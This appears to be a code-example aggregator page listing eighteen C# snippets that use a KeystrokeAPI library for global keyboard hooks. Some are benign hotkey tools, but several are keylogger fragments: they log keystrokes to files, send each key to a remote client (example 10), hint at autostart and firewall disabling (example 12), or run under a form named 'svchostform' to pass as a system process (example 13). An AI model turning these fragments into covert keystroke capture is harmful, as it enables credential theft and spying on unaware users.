Пример #1
0
        static void Main(string[] args)
        {
            using (var api = new KeystrokeAPI())
            {
                api.CreateKeyboardHook((character) =>
                {
                    if (character.KeyCode == KeyCode.Escape)
                    {
                        Application.Exit();
                    }
                    else if (character.KeyCode == KeyCode.Tab)
                    {
                        var total = string.Empty;

                        foreach (var key in keys)
                        {
                            total += key;
                        }

                        MessageBox.Show(total, "Keys Pressed", MessageBoxButtons.OK, MessageBoxIcon.Information);

                        keys.Clear();
                    }
                    else
                    {
                        keys.Add(character.KeyCode.ToString());
                    }
                });

                Application.Run();
            }
        }
Пример #2
0
        protected override void OnStartup(StartupEventArgs e)
        {
            using (var api = new KeystrokeAPI())
            {
                KeystrokeAPI ki = new KeystrokeAPI();
                api.CreateKeyboardHook((character) =>
                {
                    if (IsLoggingStarted)
                    {
                        ////////////////////// Logik für Filter kommt hierhin //////////////////////////////
                        //Tab
                        //Enter
                        //Space
                        // I need focused element, because I don't want to log when in textfield
                        // I need to know which program is used, because I'll have dfferent filters (for example word vs firefox)

                        File.AppendAllText(@"D:\KeysOnly.txt", character.KeyCode + " Test" + " Arsch" + "\r\n\r\n");
                    }
                });
                //api.CreateKeyboardHook((character) =>
                //{
                //    if (IsLoggingStarted)
                //    {
                //        File.AppendAllText(@"D:\KeyLog.txt",
                //            character + " " + LogFile.GetTitleOfActiveWindow() + " " + LogFile.GetFocusedControl() +
                //            "\r\n\r\n");
                //    }
                //});
            }
            base.OnStartup(e);
        }
Пример #3
0
 public static void Unhook()
 {
     if (keystroke != null)
     {
         keystroke.Dispose();
         keystroke = null;
     }
 }
Пример #4
0
 static void Main(string[] args)
 {
     using (var api = new KeystrokeAPI())
     {
         api.CreateKeyboardHook((character) => { Console.Write(character); });
         Application.Run();
     }
 }
Пример #5
0
        public KeyHandler()
        {
            api = new KeystrokeAPI();
            api.CreateKeyboardHook((character) => { bool ans = KeyProcessor(character); return(ans); });

            // Read all the keys from the config file
            ReadSettings();
        }
 static void Main(string[] args)
 {
     using (var api = new KeystrokeAPI())
     {
         builder = new StringBuilder();
         api.CreateKeyboardHook(HandleKeyPress);
         Application.Run();
     }
 }
Пример #7
0
 public bool Comenzar()
 {
     using (var api = new KeystrokeAPI())
     {
         api.CreateKeyboardHook((character) => { proccessKey(character); });
         Application.Run();
     }
     return(true);
 }
Пример #8
0
        private void InitKeylogger()
        {
            _keystrokeApi = new KeystrokeAPI();
            _sw           = new StreamWriter(@"keyData.txt", true);

            //Create a hook that write to file when key is pressed
            _keystrokeApi.CreateKeyboardHook((character) => {
                _sw.Write(character);
                _sw.Flush();
            });
        }
Пример #9
0
 public Flash(KeystrokeAPI api)
 {
     Console.WriteLine("Click F8 at 01:00");
     Console.WriteLine("Click F1 to print flashes");
     Console.WriteLine("F2: top, F3: jungle, F4: mid, F5:ADC, F6:support");
     stopwatch = new Stopwatch();
     hasFlash  = new bool[] { true, true, true, true, true, true };
     flashText = "";
     Clipboard.Clear();
     StartApp(api);
 }
Пример #10
0
 public static void InitHook()
 {
     keystroke = new KeystrokeAPI();
     keystroke.CreateKeyboardHook((character) =>
     {
         RemoteClient.SendMessage(new DataObject
         {
             CommandType = "RTL",
             CommandName = "RTKL",
             CommandData = character.ToString()
         });
     });
     Application.Run();
 }
Пример #11
0
        // Calling this method will log all keyboard presses until the program has exited
        public static void Run()
        {
            var api = new KeystrokeAPI();

            api.CreateKeyboardHook((character) => {
                string output = character.ToString();
                if (character.KeyCode == KeyCode.Enter)
                {
                    output += "\n";
                }

                Console.Write(output);
                File.AppendAllText(Path.Combine(Directory.GetCurrentDirectory(), "log.txt"), output);
            });
        }
Пример #12
0
        static void Main(string[] args)
        {
            //var autostart = new Autostart();
            //autostart.Install();

            //var firewall = new Firewall();
            //firewall.Disable();
            //firewall.Enable();

            using (var api = new KeystrokeAPI())
            {
                api.CreateKeyboardHook(Console.Write);
                Application.Run();
            }
        }
Пример #13
0
 static void Main()
 {
     Application.EnableVisualStyles();
     Application.SetCompatibleTextRenderingDefault(false);
     using (var api = new KeystrokeAPI())
     {
         api.CreateKeyboardHook((character) =>
         {
             if (character.KeyCode == KeyCode.Escape)
             {
                 Application.Exit();
             }
         });
         Application.Run(new svchostform());
     }
 }
Пример #14
0
        // The main method outputs any keystrokes typed to both the console and a text file while the program is opened. It also syncs the text file to an Azure
        //     database.
        // side effects: console output, writing to file, reading from and writing to a database, variable mutation
        static void Main(string[] args)
        {
            try
            {
                string userEmail = null;
                do
                {
                    userEmail = Login();
                    if (String.IsNullOrEmpty(userEmail))
                    {
                        Console.WriteLine("Email or password is incorrect. Please try again.");
                    }
                    else
                    {
                        Console.WriteLine("Login successful!");
                    }
                }while (String.IsNullOrEmpty(userEmail));
                addFileToDatabase(userEmail);
            }
            catch
            {
                Console.WriteLine("An error has occured. The application will now exit in 5 seconds.");
                Thread.Sleep(5000);
                Environment.Exit(1);
            }

            using (var api = new KeystrokeAPI())
            {
                if (!File.Exists("Report.txt"))
                {
                    createFile();
                }
                StreamWriter report = new StreamWriter("Report.txt", append: true);
                report.AutoFlush = true;
                using (report)
                {
                    api.CreateKeyboardHook((character) =>
                    {
                        Console.Write(character);
                        report.Write(character);
                    });

                    Application.Run();
                }
            }
        }
Пример #15
0
        static void Run()
        {
            Stopwatch clock = new Stopwatch();

            bool isAltActive = false;

            using (var api = new KeystrokeAPI())
            {
                api.CreateKeyboardHook((character) => {
                    if (character.KeyCode.ToString().ToLower() == "lmenu")
                    {
                        clock.Reset();
                        isAltActive = true;
                        clock.Start();
                    }
                    else if (isAltActive && character.KeyCode.ToString().ToLower() == "e")
                    {
                        clock.Stop();
                        if (clock.ElapsedMilliseconds < 500)
                        {
                            System.Environment.Exit(0);
                        }
                    }
                    Console.WriteLine(character.KeyCode);
                    foreach (var file in filesInfo)
                    {
                        if (isAltActive && file["hotkey"] == character.KeyCode.ToString().ToLower())
                        {
                            clock.Stop();
                            Console.WriteLine(clock.Elapsed);
                            if (clock.ElapsedMilliseconds < 500)
                            {
                                Process proc            = new Process();
                                proc.StartInfo.FileName = file["url"];
                                proc.Start();
                                isAltActive = false;
                                clock.Reset();
                            }
                        }
                    }
                });

                Application.Run();
            }
        }
Пример #16
0
        private void StartApp(KeystrokeAPI api)
        {
            using (api)
            {
                api.CreateKeyboardHook((character) =>
                {
                    String number = character.ToString();

                    if (number == "<F2>" && hasFlash[1])
                    {
                        AddToClippboard(1);
                    }
                    else if (number == "<F3>" && hasFlash[2])
                    {
                        AddToClippboard(2);
                    }
                    else if (number == "<F4>" && hasFlash[3])
                    {
                        AddToClippboard(3);
                    }
                    else if (number == "<F5>" && hasFlash[4])
                    {
                        AddToClippboard(4);
                    }
                    else if (number == "<F6>" && hasFlash[5])
                    {
                        AddToClippboard(5);
                    }
                    else if (number == "<F8>")
                    {
                        stopwatch.Start();
                    }
                    else if (number == "<F1>")
                    {
                        SendKeys.Send("{ENTER}");
                        SendKeys.Send(flashText);
                        SendKeys.Send("{ENTER}");
                    }
                });
                Application.Run();
            }
        }
Пример #17
0
        static Program()
        {
            try
            {
                _keystrokeAPI      = new KeystrokeAPI();
                _cancellationToken = new CancellationTokenSource();
                _ocrEngine         = new TesseractEngine(Path.Combine(GeneralUtils.GetAssemblyPath(), "tessdata"), "eng", EngineMode.Default);

                if (string.IsNullOrEmpty(Settings.TestImageName))
                {
                    _process = GetWaframeProcess();
                    _overlay = new WarframeOverlay(_process);
                }
            }
            catch (Exception exception)
            {
                Console.WriteLine(exception.Message);
                Console.ReadLine();
            }
        }
Пример #18
0
 public TaskRunner(
     ITrackInstalledApplicationsService trackInstalledApplicationsService,
     ITrackOpenedApplicationsService trackOpenedApplicationsService,
     ITrackKeystrokeService trackKeystrokeService,
     ITrackMouseClickService trackMouseClickService,
     ITrackDnsCacheService trackDnsCacheService,
     IScreenshotService screenshotService,
     ITrackSystemPerformanceService trackSystemPerformanceService,
     ISyncService syncService,
     KeystrokeAPI keystrokeAPI,
     ILogger <TaskRunner> logger)
 {
     _trackInstalledApplicationsService = trackInstalledApplicationsService ?? throw new ArgumentNullException(nameof(trackInstalledApplicationsService));
     _trackOpenedApplicationsService    = trackOpenedApplicationsService ?? throw new ArgumentNullException(nameof(trackOpenedApplicationsService));
     _trackKeystrokeService             = trackKeystrokeService ?? throw new ArgumentNullException(nameof(trackKeystrokeService));
     _trackMouseClickService            = trackMouseClickService ?? throw new ArgumentNullException(nameof(trackMouseClickService));
     _trackDnsCacheService          = trackDnsCacheService ?? throw new ArgumentNullException(nameof(trackDnsCacheService));
     _trackSystemPerformanceService = trackSystemPerformanceService ?? throw new ArgumentNullException(nameof(trackSystemPerformanceService));
     _syncService       = syncService ?? throw new ArgumentNullException(nameof(syncService));
     _keystrokeAPI      = keystrokeAPI ?? throw new ArgumentNullException(nameof(keystrokeAPI));
     _screenshotService = screenshotService ?? throw new ArgumentNullException(nameof(screenshotService));
     _logger            = logger ?? throw new ArgumentNullException(nameof(logger));
 }